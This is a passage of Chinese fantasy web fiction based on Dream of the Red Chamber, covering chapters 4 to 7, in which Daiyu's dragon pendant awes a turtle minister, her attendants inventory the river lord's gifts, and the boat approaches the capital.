引着人进来的是个面容可亲的高挑女子，脖颈修长，削肩细腰。在她身后，跟着一个比她还要矮半个头的身影，因为前面有人挡着，黛玉没看清他的全貌。
等人到近前，白鹤微笑着侧开身子，黛玉才看清以前只出现在话本子里精怪。
龟丞相的样子和她想的不一样。
黛玉以为他要么同芙蓉等人一样，是完完全全的人形，要么同青雀一样，受到惊吓时会露出一些鲜明的非人特征。
龟丞相好像介于两者之间。
他是人的样子，但整张脸有些奇怪，颌面突出，天包地，不是正常人长相，又没有雷公嘴那么明显，叫人一眼就能看出来不是人相。头发稀疏，皱纹满脸，可能是一直背着龟壳的原因，他有些轻微驼背，颈部前倾，让他本来就不高的个子更显矮了一些。
总体而言，是一个长相怪异的小老头。
一直盯着人看太过失礼，黛玉好奇看了两眼之后，便收回目光。
在黛玉观察龟丞相时，龟丞相也在不着痕迹看着上首坐着的人。
周身没有灵气，是实打实的肉体凡胎，龟丞相心道。年纪很小，看不出根骨如何，可能有其他不凡之处才能蒙那位传说中的人物青眼，收为徒弟。
左边的童子是只成精不久的雀鸟，右边的老妇身上则有些阴气，应当是鬼怪一流，估摸着大约死了有百来年的样子。
二者修为都不高，但龟丞相并无轻视之心，毕竟房间里的另外两人厉害得很。
以他的眼力，看不出这两人的跟脚，在他眼中，这二人都跟上首主人一样，是凡胎。这只能说明两人要么真是人，要么就是能将自己的跟脚遮得严严实实，不露痕迹。
可连一个小小的童子都不是人，不用问，这两人自然是后者。
心中有了定论，龟丞相笑呵呵上前拱手施了一礼，离得近了，他才看见黛玉裙边垂下的螭龙佩，玉佩形制让他觉得有些眼熟。
凡间各种龙纹玉佩何其多，怎么会让他觉得眼熟？不待他眯起眼睛细细查看，就见那玉佩上的龙纹活过来一般，游动一圈，昂首发出一声龙吟。
“嗬！”
龙吟响起时，龟丞相浑身一颤，仿佛有猛兽垂首，携着杀机直扑他眼前。
吾命休矣，有一瞬间，他不受控制地露出本相，想缩进自己的乌龟壳中保命。
“哎呀！”
外头江心上，一声惊叫在雾气中响起，弥漫在江中的大雾如水波般扭曲，似要散去，前后船头的守夜船工皆眼皮颤动，挣扎着要从梦中醒来。
“哗啦~哗啦~”
甲板下舱中的厨房里，还在水中吐着泡泡，等着丞相来解救它的胖头鱼突然感觉到一股无形的威压扫过，那感觉就像前天菜刀架在它的鱼头上，生死一线之时。
噩梦重现，死亡的恐惧攫住心神，胖头鱼胡乱甩动尾巴，奋力游动，想要逃过杀机。
木桶太小，挣扎的空间有限，生死关头，它一个大力甩尾。
“啪~”木桶被带倒，在舱中咕噜噜滚动，里头的水很快流得满地都是。
威压稍纵即逝，快得就像幻觉。
等胖头鱼清醒过来的时候，桶里只剩下一点点水，将将能沾湿它挨着木桶那面的鱼鳞。
成精没多长时间，本质还是一条鱼，做不到脱离水源生存的胖头鱼鱼眼中露出绝望的光芒。
“救命~”
装了两天哑巴的胖头鱼扇动鱼鳃，呼喊求救，可惜无人听见。或许不是无人听见了，而是听见的人没有理会。
会客厅内，白鹤和芙蓉对视一眼，垂眼向下一扫，又各自若无其事地移开目光。
“你还好么？”上首，黛玉满是歉意地问龟丞相。
龙吟声一响起，黛玉便“呀”了一声，随即就见龟丞相露出了背上的乌龟壳。
她聪慧异常，电光火石之间便知道龟丞相的异样肯定跟螭龙玉佩有关，但师姐没跟她说过这龙纹令还会“叫”，她不知道如何止住龙吟，只能忙忙伸手将玉佩按住。
不知道是做玉佩的人恶趣味还是因为玉佩认了主，这玉佩竟然真是手动的。黛玉手掌一盖上去，龙吟和龙影登时就消失不见了，又变成平平无奇玉佩一枚。
没了慑人的威压，心神俱颤的龟丞相终于缓过劲来，颤颤巍巍顶着收不回去的乌龟壳撩起袖子擦汗。
他样子实在可怜，让黛玉十分过意不去。
“白鹤姐姐，快快扶他坐下。”
龟丞相闻言，连忙将袖子放下，忙道不敢：“不用不用，小人站着便好。”
黛玉看着他背上的龟壳，壳子又厚又大，好像塞不进椅子里，想了想，便没有强求。
点点头，揭过这一茬，黛玉思索着如何开口说鱼的事，没等她想好措辞，龟丞相先说了来意：“前一阵子我主收到殿下传信，说您要在此界修行，让我主好生看顾一二。我主听闻，又知您将要从闽江上京，便命巡江卫日日在江上巡游，等着您的船只路过，好来拜见。”
他顿了顿，叹气道：“哪知那巡江卫着实蠢笨了一些，惊扰了您的船，我主知道后，心中十分过意不去，只因近期别务繁忙，无法亲至，便特命我带了东西登船，给您赔罪，替他聊表歉意。东西尚在江中，不知......？”
黛玉：“嗯？”
苦主不是那条鱼吗？怎么变成他们自己先道歉了？
黛玉压着螭龙佩，想着：莫不是刚才被吓到了才胡言乱语？
龟丞相确实受了一番龙威恫吓，先前见黛玉年岁小，本还存着试探一二的心思，如今是半点想法都没了，只想快快离开这是非之地，回到江中去复命。
乍听黛玉疑问，还以为她有所不满，心中哀叹一声，苦着脸解释道：“此地乃是一方有缺的小世界，不比那些大世界，生不出多少好东西，我主只能备些俗世凡人喜爱的金银珠玉，并一盒玉髓，还望您不要嫌弃礼薄才是。”
黛玉并非这个意思，但瞧他心惊胆颤的样子，只怕再多说两句，他就真要缩进乌龟壳了，只好点头道：“有心了。”
听她是松口的意思，龟丞相忙道：“那小人便命他们将东西送上来？”
黛玉同意，就见他从袖中掏出一个小螺，不知怎么操作的，不一会儿，便听到甲板上有咚咚声传来。
“丞相？”细声细气的询问传入厅中。
龟丞相抬头望着黛玉，黛玉轻轻颔首，门开，随后就有两队“人”携着一股水腥气，抬着箱子鱼贯而入。来人皆是精怪模样，身上还带着没有隐藏好的水族特征。
黛玉一一看过去，虾头、蟹眼、蚌壳、鳞片，本体是什么一眼便能认出，各个身上都披着甲，只没有刀枪在手，真有些西游记里虾兵蟹将的样子。
一会儿功夫，会客厅里进来了七八个虾兵蟹将，箱子叠着箱子，也放了七八个，将不大的会客厅塞得满满当当。
东西都放好，龟丞相再次拱手道：“礼已送到，小人这便告辞了。”
黛玉只管点头，点到一半，忽然记起补偿的事，“等等！”
龟丞相身形一僵，转身讪笑，“不知尊驾还有何吩咐？”
黛玉道：“白鹤姐姐，鱼呢？”
白鹤微笑道：“姑娘稍等，我去带它上来。”
龟丞相忐忑不安地站在原地。
稍顷，白鹤提着一个木桶重新回来，木桶里水声哗哗作响。白鹤将木桶放在龟丞相脚边，他低头一看，正和木桶中的胖头鱼对上眼。
“丞相~，我还以为再也见不到你了！”
胖头鱼眼中含着两泡泪，雄浑的声音凄厉又哀怨。
龟丞相：“......”
主人家在，他也不好当着面问胖头鱼是不是受了什么非人的折磨，不然鱼怎么能流眼泪？可一想到刚才脖子凉飕飕的感觉，龟丞相对它的遭遇也颇为感同身受，心中一酸，差点扑在木桶上掐着它的鱼头说一声“你受苦了”。
不过话又说回来，胖头鱼眼里的到底是眼泪，还是它眼睛里进了水？
“芙蓉姐姐，把东西
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给它吧。”
“是，姑娘。”
黛玉的话打断了快要执手相看泪眼的一龟一鱼。
龟丞相双手接过荷包样式的储物袋：“这是？”
芙蓉将补偿的意思说了一遍。
龟丞相忙推辞：“这怎么敢当？”
芙蓉：“姑娘既给了，收下便是。”
龟丞相深深弯腰：“那小人就替它谢过了。”他踢了踢木桶，道：“还不谢谢贵人。”
还有这等好事？胖头鱼收起眼泪，早忘了两次生死存亡的危险，尾巴一甩，借着水中的浮力直起鱼身，从桶中露出一个头，用鱼鳃卡住木桶边缘，将自己挂在桶沿上，谄媚道：“谢谢贵人~”
它的样子诡异又好笑，黛玉用帕子掩住嘴角，眉眼弯弯，道：“不用谢。”
双方互赠了赔罪的仪礼，都十分满意。
龟丞相也不再耽搁，让一个虾兵提起木桶，跟黛玉告辞。一行人出了会客厅，纵身跃入江中。
随着他们没入江中，笼罩江面的白雾也如清晨露水般烟消云散，四周再度了有了人声鸟鸣。
人一走，黛玉长舒了一口气，不顾形象半趴在引枕上，何嬷嬷替她揉着有些僵硬的脊背，夸道：“姑娘刚才威仪不凡。”
黛玉半掩着面，耳根红红：“嬷嬷别取笑我了。”
她摊开紧紧攥在手里的螭龙玉佩，道：“都是它的功劳。”
“这玉佩怎么还能有声音呢？竟是活的不成？”将玉佩举到眼前翻来覆去看了看，也没看出花来，黛玉喃喃道。
白鹤捧着一个青花圆肚的小罐子在榻沿坐下，道：“姑娘把手给我看看。”
黛玉疑惑地伸出手，因为太用力，她的掌心被压出了一个龙纹样的红印子，边缘还有些肿起。
白鹤揭开罐子，用扁头玉匙从里面挑出黄豆大小的赤色膏状物，细细抹在黛玉掌心，慢慢揉开：“姑娘怎么握得这么用力，幸而玉佩边角圆钝，否则手心都要扎破了。”
“我见他害怕，一时紧张，没注意到这些，好姐姐，这玉佩到底为什么是活的？”
芙蓉插话，细细替她解释：“姑娘说错了，它并非活的，玉佩乃是死物，活的乃是里面封印的一缕螭龙意识，这缕意识平日藏在玉佩中，遇到特定的情况便会激发出来。”
“这激发出来的意识，或是能御敌，或是能斩杀威胁，或是如刚刚一般，单纯作为威慑。像这样的东西，多半都是长辈为独自外出闯荡的小辈准备，护身用的。姑娘手里的是玉佩，但其实这类东西外形可以多种多样，里面封着的东西也多种多样，比如长辈的意识、剑意、法术等等，不拘是什么，有效就行。”
“原来是这样。”黛玉点头，随即又苦恼道：“那这枚玉佩的特定情况是什么？”
护身的东西，表面上看应该是在有敌意的情形下才会被激发，她没见龟丞相做什么奇怪的事，难道它随时随地都会“叫”不成？真是这样的话，她可不敢再戴着它了。
今日是对着龟丞相，明日要是在外祖家里“叫”起来就麻烦了。
白鹤涂完了药膏，赤色药膏十分好用，眨眼功夫，黛玉掌心的印子不仅完全消失，药膏也没有留下一丝黏腻痕迹。
将罐子合上，白鹤道：“我猜它应该是捕捉到了水族的气息，才吟啸威慑。”
这个推测好似合理，黛玉也没办法去问师姐，暂且接受了这个说法。
不过她也不准备戴着这枚玉佩了，还是将它收起来为好。
白鹤见了，也没说什么。
有了刚刚的一出，料想那只老龟已经跟他的主人通了气，之后有没有玉佩在，也没什么关系。
“都快子时了，姑娘快去睡吧，仔细明日头疼。”
往常黛玉亥时便要就寝，今天已经超过时间许久了。能撑到现在，全凭一股兴奋劲，白鹤一提，她就忍不住打了个哈欠，眼皮子也往下坠。
“可是这些箱子？”黛玉强撑着看向龟丞相留下的七八个箱子。
何嬷嬷道：“姑娘操这些心做什么，有我们呢，等清点好了，再给姑娘过目不迟。”
黛玉道：“那就辛苦姐姐们和嬷嬷了，你们也早些休息。”
何嬷嬷心下一暖，道：“姑娘快去吧，眼睛都要睁不开了。”
黛玉自去了，何嬷嬷将青雀打发去陪她，等听不到里头的动静，芙蓉轻手轻脚合上隔扇，又施了术，隔绝声音，回身与其他两人一起开箱子。
5. 第 5 章
只见白鹤一挥手，箱子便自动跳起来，挨个打开，有几个大箱子里面还套着小匣子。白鹤再一指，这些小匣子大的在前，小的在后，每一个匣子边角都对齐，整整齐齐排着队浮在空中。
何嬷嬷左手执册，右手拿笔，在箱子中间穿行记录。
龟丞相倒也没有妄言，东西虽多，大多都是凡物，也是姑娘正正用得上的东西。
面料、毛料，都是顶好的，备东西的人也细心，考虑到了一年四季变化所需。
就是有些奇怪，叫何嬷嬷自己说，让她来给姑娘准备凡俗世界需要的东西，也不会比这更好、更齐全了。
这位江主，莫不是在红尘富贵人家中打过滚？
略过面料再看用具，各色瓷器、玉器、漆器，整整齐齐码在一起，以何嬷嬷在宫中浸淫多年的眼光，一下子就认出了许多珍贵的官窑瓷，其中有几样，烧造的手艺已经失传，存世量极少，连宫中都不多见。
“这两箱倒是送的实在。”看过用具，何嬷嬷对着紧实压在相中的金砖和银砖，哑然失笑。银子金子都炸得光亮，银闪闪、黄澄澄，险些闪花了她的眼。
芙蓉抠出一块金砖掂了掂，道：“也不多，这一箱也就六百斤。就这么点，也不够干什么的。”
何嬷嬷闻言既笑又叹：“真真是风餐饮露的神仙才能说这话，多少凡人劳碌一辈子都赚不到这一块金砖。”
白鹤道：“芙蓉说的也没错，于凡人而言，这是巨财，但龙族以豪奢闻名，这点金银对他们来说，不过九牛一毛，我看闽江江主不老实，还吝啬。”
她瞥了一眼放面料的箱子，道：“这些面料里，竟然没有鲛纱。”那才是水族拿得出手的珍贵料子。
何嬷嬷摇头，她生前是凡人，死后也是凡鬼，见过最好的东西都是在皇宫中，宫里可没有那些传说之物。她只知道，这里有些东西，深宫贵人恐怕都用不上。
两位姑娘的眼界太高了，她跟不上，也不多嘴，继续整理最后两个箱子中的物件。
白鹤施法浮在空中的匣子多半都是从这两个箱子中跳出来的，此时她屈指一弹，匣子纷纷弹开，露出匣中的物件，厅内登时珠光闪耀，宝气十足，一时间竟盖过了金砖银砖的光芒。
匣子中多是成套的头面首饰，珍珠宝石、琥珀珊瑚，青红靛紫，各种颜色交辉，好不耀眼。
除了打好的首饰外，许是考虑到收礼的人会有自己的喜好，因此送礼的人还备了成匣的散珠和宝石，方便做镶嵌用。
何嬷嬷抓起一把红豆大小的散珠，手一松，散珠哗啦啦往下掉：“这些珠子大小竟都相同。”
何嬷嬷知道民间是有养珠人的，但即便是养殖的珍珠，也少有能做到每一粒都浑圆饱满，大小一致的。
她手头一匣子里起码有上千颗珠子，不知需要采多少蚌才能凑到这一匣珠。
还有其他匣子中的珍珠，色彩多样，最大的有雀卵大，比她在宫中见过的东珠还要大上一圈。
白鹤拈起一颗浅蓝色珍珠看了看，随手将它掷回匣子中，匣中的珍珠一阵乱蹦。
“也不稀奇，只要有成精的蚌妖，在她吞吐妖气时，周围多放一些蚌类，想要多少珍珠没有？圆的、方的、扁的，要什么形状就有什么形状。”
何嬷嬷：“这么说来，水里倒是不缺珍珠。”只是对人来说，采珠十分困难，所有好的珍珠才那么珍贵。
白鹤点头，将目光落在一个檀木匣子上。浮在空中的所有匣子都开了，唯独它匣盖紧扣。
白鹤招手，匣子落在她手上。细细感受了一下，白鹤抬手拂过，破开禁制。
揭开盖子，檀木匣子里一团似水似膏的物体随着她的动作缓慢流淌。
何嬷嬷看过来，道：“这就是玉髓？”
白鹤点头，“百年为乳，千年为髓，万年为膏，这一团应该有几千年，不到万年。”
“还算有心，等姑娘能修行后，便可以用上了。”
玉髓这东西也是不挑修为高低的，甚至凡人也可用，不过只能用百年的，还要稀释数倍才行。
这团玉髓给姑娘服用的时候，同样要稀释。
“那这东西便由你收着。”何嬷嬷取过一匣子米粒大小，形状不规则的珍珠，道：“我记得姑娘有一个点翠盘凤镶珍珠的璎珞圈，半年前摔了，凤鸟胸前的瓚珠摔得七零八落。那么小的珍珠不好找，就一直没补，如今正巧能填上。”
白鹤和芙蓉不比她对这些首饰东西了解详细，自然是她说如何便如何。
收起了珍珠，再将东西分门别类，估摸着以后能用的上的，一会儿都抬到舱中，下船的时候跟着行李箱笼一起运下去，用不上的，便让芙蓉收起来，等想起来了再取。
一番忙活后，厅中又空了，何嬷嬷收起册子，道：“二位姑娘，且都去歇息吧。”
白鹤带着东西离开，何嬷嬷和芙蓉直接穿过隔扇，回了卧房。
且不说第二日林家的老仆看到一夜之间又多出来的几个箱笼是何想法，就说在何嬷嬷三人清点造册的时候，龟丞相一入江，便飞也似的直奔江主洞府。
胖头鱼尾巴都甩出残影了，也跟不上他的速度，只好在后面大叫，“龟爷爷，等等我呀~”
这一声犹如八尺大汉捏着嗓子娇滴滴喊“哥哥”，唬得龟丞相身躯一震，他急急刹住势头，胖头鱼没料到他突然停下，尾巴没收住，整条鱼啪叽撞在龟壳上，撞得它晕头转向，直挺挺往水底沉。
龟丞相抠住它的腮把它提溜住，问道：“你不去巡江，跟着我干什么？”
“啊？还要巡江啊？人不是等到了吗？”胖头鱼晕晕乎乎地反问。
龟丞相：“废话！不巡江要你有什么用？养着吃虾米吗？”
胖头鱼愣愣地道：“哦。那爷爷把东西给我，我这就走。”
“什么东西？”
胖头鱼：“贵人的补偿......”
说到一半，它大叫：“龟爷爷，你想昧下我的东西！”
“你闭嘴！我还会贪你这点东西不成，不过是着急回去复命忘了罢了！”
这死鱼头，半点不会看眼色，别说他是真忘了，就是有心昧下，也不能这么大庭广众嚷嚷出来。
龟丞相取出荷包朝它掷过去，胖头鱼才不管他，弓身一弹，将荷包吸进腹中，心满意足地咂了咂鱼嘴。
龟丞相见它这副蠢样，不忍直视。
还是爷爷我心善，换一个气量狭小的来，这蠢鱼当众这么一嚷，焉能逃过辣手。
是人是妖都是要面子的。
胖头鱼浑然不知自己又在生死关头走了一圈，东西拿到后，称呼立时恭敬了：“丞相，我去巡江了？”
龟丞相不耐烦地摆手，“去吧去吧。有点眼力见，别又叫人钓上去炖鱼汤。”
“得嘞！”
打发走了胖头鱼，龟丞相匆匆赶回江主洞府，或者说龙宫。'');(window.adbyunion = window.adbyunion || []).push(id);})();
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要说这江主也是封在闽江的龙王，掌一江水系，洞府有资格叫龙宫，可眼前的洞府实在寒酸了一些，没有水晶琉璃瓦，也没有恢弘宝顶，瑞气千条，就是平平无奇洞府一座，甚至有几处地方还有破败之相，像是被什么东西狠狠砸出来的。
这样的洞府，别人好意思叫龙宫，闽江江主都不好意思应。
谁能想到一江龙王还竟然真有这么穷，毕竟龙族之富，是天上地下都闻名的。
当然了，穷是闽江江主自认为的，按凡人的标准，他的洞府依然豪奢，珍珠玉石管够。
龟丞相挥挥手，让跟着的虾兵蟹立刻绕着洞府巡逻。说起来也是心酸，这一队虾兵蟹将已经是江主手下半数可用的妖兵了。
他把人一带走，洞府外就没有巡逻的人手了。
若非无人可用，哪能让一条蠢鱼去巡江，差点没巡出事来。
妖少，洞府中就十分安静，只时不时有小鱼游过。穿过洞府，龟丞相在洞府中一处珊瑚丛包围的偏厅中见到了江主。
“如何？”
闽江江主是个看起来文质彬彬的年轻人，二十出头的模样，幻化得十分完美。他眉眼温和，自有一股温润气质，像是人间饱读诗书的书生，而非水里的精怪。
龟丞相上前细细将船上见闻汇报，连对话都学得惟妙惟肖，一字不落。
闽江江主听完，招来一股水流幻化出形状，问：“你说的玉佩，可是这个模样？”
龟丞相一瞧，当即点头：“是，就是这样，主上也见过？”
打散水流，闽江江主隔空点了点他：“你这老龟，莫非年纪大了，记性也不好了，忘了前江主是怎么死的？”
他原先，可不是掌这一江的龙王。
龟丞相猛地一激灵，似是想起了什么恐怖记忆，哆嗦道：“是令、令......”
闽江江主点头，瞧他舌头都捋不直的样子，又温声宽慰：“那位殿下......是尊煞神，可也并非不讲理，无需如此害怕。”
“我听你的描述，那位的师妹倒是心善，那咱们遵令即可。她持令入江，咱们就恭恭敬敬招待，不来，就照着凡间礼数，时令节礼都送上，其他一概不管，当人不存在就是了。”
龟丞相抻了抻脖子，终于找回了自己的声音，不由迟疑道：“如此，先前的礼，是不是薄了一些？要不要再送一些？”
只有玉髓，太寒碜了。
“金银珠宝可以多多添上，其他的......”闽江江主苦笑，“有这样一位师姐，那位什么好东西没有，再好的，怕是也看不上。再者，咱们这江里，还有好东西？”
有他也扣着先给自己人。外面不太平，不知为何，如今世道竟有妖魔渐起之相，他镇守一江，要护两岸太平，可人员实在捉襟见肘。
堂堂江主，都被逼得要亲自巡视江岸，说出去都没妖信。
龟丞相也想到了自家的心酸事，道：“江主，我看那位心善又大方，不如......”
他还没说完，闽江江主就厉声打断了他：“你还敢有这样的算计，嫌自己龟壳太硬了不成？！前江主的血都还没洗干净！”
龟丞相□□一缩，呐呐不敢再言语。
他挥挥手，道：“好了，此事就到此为止。”
按了按额头，闽江江主说道：“洞府不需要那么多人巡逻，你抽四个虾兵让他们一起去巡江，有问题速速来报。”
“是。”
6. 第 6 章
自龟丞相走后，接下来的路途都无事发生，顺风顺水地平稳。
睡了一觉，黛玉还没忘记齐天大圣的事，第二日一醒来，就缠着芙蓉问起真正的西游之事。
芙蓉哪里知道那许多，很多事她也是道听途说来的。能知道齐天大圣存在，还是因为她活的够久，刚生灵智，懵懂之时远远见过玄奘法师罢了。
面对黛玉的问题，纵然芙蓉绞尽脑汁想着自己听过的传言，也时不时哑然，不知该如何作答。
两三次过后，黛玉察觉到她的迟疑，便不再问这些，转而问起了大唐时期的风土人情。
此次去外祖家是黛玉第一次出远门，一路上也见了沿途风景，但路程多半在水上，水景见的最多，时间一久，就觉得无趣了。
像李太白诗中“奔流到海不复回”的黄河，“疑是银河落九天”的庐山瀑布，王摩诘的“大漠孤烟直，长河落日圆”......都是她不曾见过的壮丽风景。
“这些景色，是否都像诗中所写一样？”黛玉转过身子，歪头看向芙蓉。
芙蓉忙松开手，还没挽好的头发，松松散散又落了一肩。
小心将绕在簪子上的头发拆下来，芙蓉手下不停，再次分好头发，才道：“姑娘说的这些景色我都见过，只是每个人的感觉不同，我却没有感受到这些诗人所见过的苍凉恢弘。”
“像庐山瀑布，我去过好些次，都没发现有什么稀奇之处。”
黛玉皱起鼻子，为截然不同的说法感到困惑。
芙蓉稍稍扶了下她，道：“姑娘坐正些，当心扯着头发。”
见黛玉一副想不明白的样子，芙蓉道：“同样的景色，在不同人看来，也有不同的感觉。兴许，当时李太白去庐山时，定是雨后初晴，他在山脚下仰着头向山上看，见水汽蒸腾，云雾缭绕，飞瀑湍流，自觉自身渺小，所以觉得瀑布壮阔，如银河倒悬。但我去时，不论是晴时还是雨后，都会攀上绝顶，从上往下见瀑布流淌，也不过是水汽氤氲。十个瀑布，有九个都如此，便觉得无甚出奇了。”
她说完，黛玉沉吟片刻，若有所思地道：“世人都尊太白为诗仙，但他终究是凡人，人力所限，无法做不到如芙蓉姐姐你一样探究全貌，能将‘银河’踩在脚下。所以太白先生只能穷极想象，才有了这样既如空灵幻梦，又有雄浑气势的句子。”
她仰头，芙蓉跟着往下移梳子。
黛玉道：“我曾读过唐人的咏蝉诗，虞永兴写的蝉品性高洁，是因他本人性情忠直，直言敢谏，深受重用；骆临海的蝉‘露重难飞’，是因他落拓苦困，狱中沉郁难言；李义山的蝉满腹牢骚，是因他摇摆不定，被左右诘难又无力从漩涡中摆脱。”
顿了顿，黛玉总结：“可见，不仅是同样的景在不同人眼中有不同感受，心境不同，也会影响不看景看物时的感受，前人托物言志，就是如此了。”
黛玉从镜子中往后看，对上芙蓉低垂的眼，她偶尔能从那里捕捉到一丝冷色，并非冷漠，而是见多了世事的平淡。
芙蓉姐姐是妖，修行了许多年，大约见惯了世间风景。她看水看江不过看了一个多月便腻了，芙蓉姐姐却看了上千年，是不是也腻了，对这些提不起兴趣了？
有朝一日，我也会看山见水，都觉得索然无味吗？黛玉在心里问自己。
这个问题有些深奥，她才活了这么几年，世间的风景才见过冰山一角，如何能想出来？一时有些陷入了迷思。
芙蓉不知道她的念头转到哪里去了，只听她说这个蝉那个蝉的，又有一番点评，点头赞道：“是姑娘说的这样。姑娘好生博学，已经能自己悟出道理了，再读几年书，都可以当先生了。”
黛玉被打断了思绪，从迷惘中挣脱出来，登时脸上飞红，“好姐姐，我不不过是读了几本书而已，怎么能当先生，叫人听了，怕是要说一声轻狂！”
芙蓉惊讶道：“怎么会？真有人这样想，那肯定是他自己读不好书，嫉妒别人有读书的天分。”
“读了几十年书还不如姑娘读两三年的，可不就要嫉妒到发狂么？有这闲工夫，不如再多读读，说不定哪天就能龙场悟道，名传天下，红眼病自然就没了。”
说罢，她还肯定地点头，觉得自己说的非常有道理。
她这么一说，好像读书人各个都眼睛发红，不是死盯着书，就是死盯着别人，还要想着扬名，实在是忙碌得很。
一想到满大街的红眼书生汲汲营营，黛玉突然噗呲一声笑了出来。
“哎呀~”
芙蓉连忙给她揉了揉，“扯到哪儿了？我看看。”
黛玉按了按刚才扯疼的地方，摇头，“没事，就疼了那么一下。”
看她不像是说假话，芙蓉放下心，“马上就好了，姑娘可别再乱动了。”
“嗯。”
何嬷嬷领人提着早膳进来，见她们还在梳发，不禁打趣道：“姑娘今儿还有难么多问题？”
这两天都是这样，两人常常是一边梳头一边说话，分了心，手上动作就慢。每每到了该用早膳的时候，两个人还呆在镜子前理头发。
芙蓉用头油将黛玉鬓边的碎发抿好，放下梳子道：“好了。”
何嬷嬷道：“看来今天的砂锅没打破。”
黛玉和芙蓉一齐笑了起来。
外间已经摆好了饭，一碗碧粳米熬的粥，并几样新鲜的小菜和一叠鱼肉。
黛玉平时胃口小，常常一天都吃不了多少，今天的鱼肉却很鲜嫩，带着一丝微微的辣，不夺其鲜，半点腥味都没有，入口即化。就着鱼肉，她倒喝了大半碗粥，鱼肉也吃完了，小菜不过略动了几筷子。
“姑娘喜欢这鱼？”何嬷嬷看她吃的多，也很高兴。
黛玉不好意思地点了点头，“这是什么鱼？”
何嬷嬷道：“我也不知。姑娘喜欢，我去问问，叫它再送些过来。”
“不是从江里捞的吗？”
有时候船没有赶上下一个渡口，船上的食物却不多的时候，船工们就会从江里捞鱼作为食物。
黛玉在船尾甲板上看到过后面的商船有人垂钓撒网。
他们这艘船上的食材充足，也新鲜，不曾下过网，只有青雀抓过几条鱼，炖的鱼汤她没喝。
自从身体好了又差之后，她的味觉就更敏感了，别人觉得鲜的鱼汤，她尝着只觉得腥。
何嬷嬷道：“当然不是。姑娘不如猜猜是谁送来的？”
“是许姨？”
何嬷嬷摇头。
拢共就只有这一个熟人，黛玉猜不出来了。
“好嬷嬷，你快告诉我吧。”
何嬷嬷笑道：“是那个胖胖的巡江卫。它前日去了，今儿早上白鹤见它又跟着船，还以为它有事，把它捞起来一问
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才知道原来是它赶着一群鱼想来送给姑娘。”
“它也是有心了，瞧着憨，却是粗中有细，知恩图报。姑娘给它补偿，它觉得太多了，它没什么能报答姑娘的，吃着这鱼好吃，就想送来让姑娘也尝尝。白鹤试了试，见确实鲜，就收下了。”
黛玉先是惊讶了一下，随即便道：“它赶这鱼来，岂不是很辛苦？”
闽江有四鲜，说的是江中的四种鱼。她吃的这团鱼肉，应该不在四鲜之内。
这么好的味道，必然也十分罕见不易得，否则肯定逃不过老饕们的嘴，早就传扬得天下皆知了。
何嬷嬷：“白鹤问过了，这鱼生活在闽江深处，每年从江口入海繁衍，不曾在江面出现过，所以不为世人所知，罕见算不上。它自己吃一次，比姑娘这一餐用的量多几倍不止，也就是个零嘴。”
“那嬷嬷让它再送些。”贪这点口腹之欲让黛玉有些羞赫，“也不白让它辛苦一趟，咱们拿东西跟它换。”
“早知姑娘会这样说，东西已经备好了，我这就去跟白鹤说。”
何嬷嬷叫人收了碗筷，去跟白鹤商议鱼的事。黛玉略坐了一刻钟，消了食，取了前几天没看完的古卷倚在会客厅的软榻上翻看。
芙蓉点上暖甜的熏香，叫来了紧急跟着林家仆人补规矩的青雀守着黛玉后，下了船舱。
那厢白鹤跟何嬷嬷刚送走了胖头鱼，迎头便见到芙蓉下来。
白鹤：“你怎么来了？姑娘身边没人？”
芙蓉：“青雀陪着。”
白鹤见她锁着眉头，道：“怎么了？”
芙蓉看了看她脚边游动的指节长的银色小鱼，蹙眉道：“那胖头鱼是有心还是真憨？”
什么知恩图报？莫不是看她们姑娘好说话，贴上来混东西？
白鹤：“纵然是有心算计，姑娘开心不就行了，总归东西不是假的。”
“我是怕姑娘一片真心喂了狗，刚姑娘还问它辛不辛苦呢。”
白鹤上下打量了芙蓉一眼，她是真心实意在担心黛玉被骗。在白鹤看来，她们跟胖头鱼的交换不过是各取所需，最多是她们付出的东西跟需要的不成正比，吃了些亏而已。
她不是担心东西给多了，给胖头的不值当什么，她是担心黛玉的一片好心受到伤害。
芙蓉太杞人忧天，有些不像她。
移开目光，白鹤不在意道：“哪天它要是真犯到姑娘头上，再翻手打杀了便是。”
轻描淡写的一句话让芙蓉一滞，“我并非这个意思！”
白鹤神情淡淡，全然不觉得自己说了什么可怕的话：“姑娘又不是养在后院的娇花，她会见到另一番天地，总会碰上不合意的事，你能替她都拦下？”
“可姑娘还小！”
白鹤抬眼，望着愤怒的芙蓉，道：“姑娘比你想的聪明。”
芙蓉想要辩驳，却忽然沉默了下来。白鹤没再说话。
何嬷嬷左右看看，想劝，却不知道如何开口。
“姐姐，嬷嬷，”一团圆乎乎的雀影闯进来，欢快道：“许夫人遣人来说京城快到了，让姑娘去前面船上，到时好跟他们一起下船。”
“知道了，就来。”
白鹤回了口信，雀影拍着翅膀飞走。
芙蓉叹了口气，“我先上去了，回头再说。”
白鹤不置可否地应了一声。
7. 第 7 章
事后白鹤和芙蓉有没有再谈过何嬷嬷不知道，反正两人再凑到一起时，相处说话都一如往常，不仅看不出起过冲突，她们还拉着何嬷一起讨论要给姑娘找个厨子以及姑娘要不要再请个老师的事。
后者芙蓉禀过姑娘后给林老爷送了一封信，等着林老爷做安排。
前者商量过后，三人一致认为是该要个厨子，且厨子不能在凡人中找。
跟姑娘说了一声，此事便由白鹤去安排。
总之事情看着是平息了，何嬷嬷不由松了口气，接下来只等到京城了。
-*
京城码头，周瑞家的来回踱着步，时不时停下伸长脖子往江面望一望。
两丈远的地方，也有另一队衣着朴素的人在等船。两边泾渭分明，不曾打过招呼。
远远看见有船过来，周瑞家的眯起眼分辨了一会儿，朝跟在她身后的一个小厮一招手，吩咐道：“去，看看，是林姑爷家的船来了吗？”
小厮挤到码头上，过了一会儿满头大汗回来复命：“周嫂子，没见着船。”
周瑞家的驻足，“看清楚了？”
小厮弓着身子，道：“周嫂子，看的清，都是往那边停靠的货船，没看到您说的姑爷的船。”
周瑞家有些失望，有一搭没一搭摇着帕子扇风，半晌，她又问道：“咱们来多久了？”
小厮：“约莫有半个时辰了。”
“才半个时辰啊。”她还以为过去两个时辰了。
这等的可真是焦心。
“也不知道什么时候才能来，应当是这两日才是。”
小厮靠近些，谄笑着道：“兴许是路上不顺风，耽搁了些时间也是有的。周嫂子，您要不坐着，站着怪累的。”
周瑞家的斜了小厮一眼，哼笑道：“坐，坐哪儿？”
轿子里又不透风，又闷又暗。
“您且等着。”撂下话，小厮一溜烟跑了，比刚才周瑞家的让他去看船时积极多了。
须臾，小厮夹着一条长凳回来，放在周瑞家的身边，还特地调整了方向，让她坐下能对着江面。
